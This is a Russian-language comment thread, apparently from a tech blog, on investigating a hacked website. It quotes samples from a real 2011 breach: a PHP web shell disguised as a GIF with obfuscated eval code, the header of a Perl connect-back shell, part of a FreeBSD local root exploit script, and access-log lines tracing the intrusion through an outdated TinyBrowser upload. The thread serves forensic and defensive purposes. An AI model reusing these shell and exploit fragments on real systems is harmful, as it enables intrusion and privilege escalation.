Когда сайт взломан, необходимо выяснить, через что это произошло. После определения причины сайт восстанавливается из резервной копии, чтобы исключить все то, что описано в приведенных Вами ссылках: замаскированные шеллы, добавления в базу данных, измененные исходники сайта. После восстановления из резервной копии компоненты сайта, через которые произошел взлом (а желательно, и все остальные), обновляются до последних версий, не содержащих уязвимостей. После этого можно снова открывать сайт для посетителей.
Если сайт продолжают взламывать, и найти причину не удается, скорее всего его взломали гораздо раньше, и на нем уже есть скрытый доступ. В этом случае необходимо установить чистую CMS и импортировать в нее данные.
Какие-либо дополнительные действия: изучение специальной литературы, игры в прятки с хакером, сбор коллекции обнаруженных шеллов/эксплойтов/скрытого кода зависит от непосредственной заинтересованности в этой теме администратора, работающего с сайтом, и выходит далеко за рамки статьи.
В комментарии Вы упомянули полезные скрипты и ПО для анализа логов — приведите, пожалуйста, ссылки на них, они будут хорошим дополнением к статье.
Случаи же, когда на сайте остается шелл и другие временные файлы, использованные для взлома, встречаются постоянно. Чтобы не быть голословным, приведу пример анализа взлома, зафиксированного вчера на одном из сайтов:
$ find ./ -mtime -4h
./images
./images/bc
./images/env
./images/bc.pl
./images/a22389d.php.27994
./images/env.c
./images/program.c
./images/program.o
./images/w00t.so.1.0
Жирным выделены PHP Shell и back connect на Perl.
PHP Shell, замаскированный под GIF, из файла a22389d.php.27994:
GIF89af^M
<?php # Web Shell by oRb^M
$auth_pass = "";^M
$color = "#df5";^M
$default_action = 'FilesMan';^M
$default_use_ajax = true;^M
$default_charset = 'Windows-1251';^M
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9Vcwmjf
Обратите внимание, что в скрипте явно написано «Web Shell».
Backconnect на Perl в файле bc.pl, был запущен демоном:
#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
Явно написано Connect Back Shell, стиль написания и оформления текста… ммм… вызывает подозрения :)
И эксплойт для FreeBSD в файле program.c:
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
// ... пропущено
environ=NULL;
system("echo G0T R00T!!!;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
Выдержка из access.log, ищем по имени файла shell'а (имя сайта изменено):
$ grep -m 3 a22389d.php.27994 access.log
[21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:42 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
Ищем по IP-адресу взломщика:
$ grep 66.148.113.109 access.log
[21/Aug/2011:20:52:15 +0400] 200 66.148.113.109 sitename.ru GET /affiliate_affiliate.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:52:18 +0400] 200 66.148.113.109 sitename.ru GET /favicon.ico HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:56:49 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:56:52 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:20:57:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/flexupload.swf HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:20:58 +0400] 200 66.148.113.109 sitename.ru POST //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/images/&type=image&feid=&obfuscate=c26d37c9924a95a0ab81ea044326180e&sessidpass= HTTP/1.1 "Shockwave Flash"
[21/Aug/2011:21:21:00 +0400] 302 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/images/&type=image&feid=&filetotal=1 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php?type=image&feid=&folder=&badfiles=0&goodfiles=1&dupfiles=0 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:02 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
[21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
Взлом произведен через устаревший TinyBrowser. Последние две строки — уже работа с PHP Shell.
Подскажите, есть хоть один хостер который берет функции проверки и защиты на себя?
Есть такой сервис find-xss.net/monitoring в защите он не поможет, но даст спокойно спать в том смысле, что как только зальют shell на сайт, вы будете тут же оповещены об этом на ваш email. В отчете который придет будет указано в какой файл залили шелл.
Sign up to leave a comment.
Через какую дыру взломали сайт?